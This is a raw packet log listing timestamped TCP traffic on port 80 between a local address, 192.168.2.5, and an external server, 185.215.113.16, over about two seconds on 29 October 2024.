Oct 29, 2024 05:02:33.768296957 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768415928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768457890 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768476963 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768490076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768526077 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.768536091 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.768573999 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.769021988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769035101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769048929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769068003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.769083023 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.769092083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769104004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769131899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.769161940 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.769781113 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769841909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.769889116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887346983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887367010 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887397051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887413025 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887423038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887442112 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887464046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887479067 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887518883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887531042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887541056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.887556076 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887576103 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.887584925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.888267994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.888307095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.888387918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.888428926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.888457060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.888468981 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.888478041 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.888497114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.888518095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.930809975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.930870056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.930881023 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:33.930913925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.930943012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:33.930943012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006423950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006434917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006498098 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006520033 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006535053 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006541014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006552935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006580114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006591082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006614923 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006624937 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.006649971 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.006660938 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007278919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007301092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007318974 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007324934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007344007 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007358074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007359028 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007400990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007873058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007883072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.007913113 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.007925987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.050075054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.050085068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.050095081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.050158978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.051249981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.125686884 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.125742912 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.125750065 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.125760078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.125771046 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.125782013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.125802994 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.125823021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.125979900 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126015902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.126120090 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126153946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.126162052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126177073 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126202106 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.126552105 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126563072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126573086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.126596928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.126621962 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.169101954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.169270992 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.169290066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.169298887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.169308901 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.169318914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.169332981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.169357061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.169385910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.244863033 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.244874001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.244883060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.244930029 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.244950056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.244999886 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245011091 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245040894 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.245217085 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245228052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245235920 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245275021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.245495081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245513916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245524883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.245541096 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.245572090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.288415909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.288429022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.288438082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.288505077 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.288705111 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.288714886 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.288882017 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364170074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364213943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364223003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364233971 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364263058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364290953 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364351988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364386082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364389896 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364423990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364454985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364465952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364475012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.364487886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.364502907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.365212917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.365303040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.407421112 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407432079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407442093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407447100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407567978 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.407599926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407639980 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407643080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.407649994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.407671928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.407686949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.483320951 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483345032 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483355999 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483366013 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483381987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.483411074 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.483613968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483624935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483635902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483645916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.483676910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.483700991 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.484138012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.484189034 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.484195948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.484206915 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.484235048 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.484245062 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.526443005 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526453972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526464939 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526474953 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526499987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.526530981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.526634932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526679993 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526684046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.526690960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.526726007 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.786509037 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786623955 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.786858082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786869049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786880016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786884069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786889076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786894083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786906958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786917925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786927938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.786933899 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.786967039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.786979914 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787010908 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787060022 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787065029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787076950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787085056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787094116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787103891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787112951 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787131071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787158012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787343979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787353992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787369967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787379980 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787389040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787391901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787415981 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787432909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787446976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787457943 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787467003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787477016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787482023 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787487030 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787497044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787506104 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787512064 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787516117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787525892 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787529945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787535906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787545919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.787550926 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787569046 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.787586927 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.788229942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788248062 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788259029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788270950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788283110 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788316011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788321972 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788327932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.788328886 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.788424969 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.806833029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.806843042 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.806931019 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.840934992 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.840955973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.840966940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.840976954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.840986967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.841082096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.841144085 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.841150999 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.841156960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.841167927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.841187000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.841206074 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.883977890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.883989096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.883995056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884027004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884057045 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.884085894 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884092093 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.884097099 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884119987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.884131908 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884139061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.884141922 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.884166002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.884176970 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.959985018 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.959995985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960006952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960021973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960036039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.960063934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.960191011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960228920 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.960241079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960252047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960262060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960280895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.960294008 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.960313082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.960352898 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.961033106 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.961075068 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.961087942 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.961097956 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.961107969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:34.961127043 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:34.961143970 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.002974033 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003024101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003029108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.003035069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003071070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.003427982 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003459930 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003465891 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.003469944 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.003494024 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.003515005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.046894073 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.046905041 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.046914101 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.046964884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.046994925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.079202890 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079214096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079224110 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079288960 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.079340935 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079351902 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079361916 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079384089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.079397917 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.079411983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079422951 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.079453945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.080085993 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.080096006 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.080108881 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.080126047 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.080148935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.080151081 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.080162048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.080187082 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.080213070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:35.122145891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.122159004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.122164011 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:35.122246981 CET	80	49778	185.215.113.16	192.168.2.5
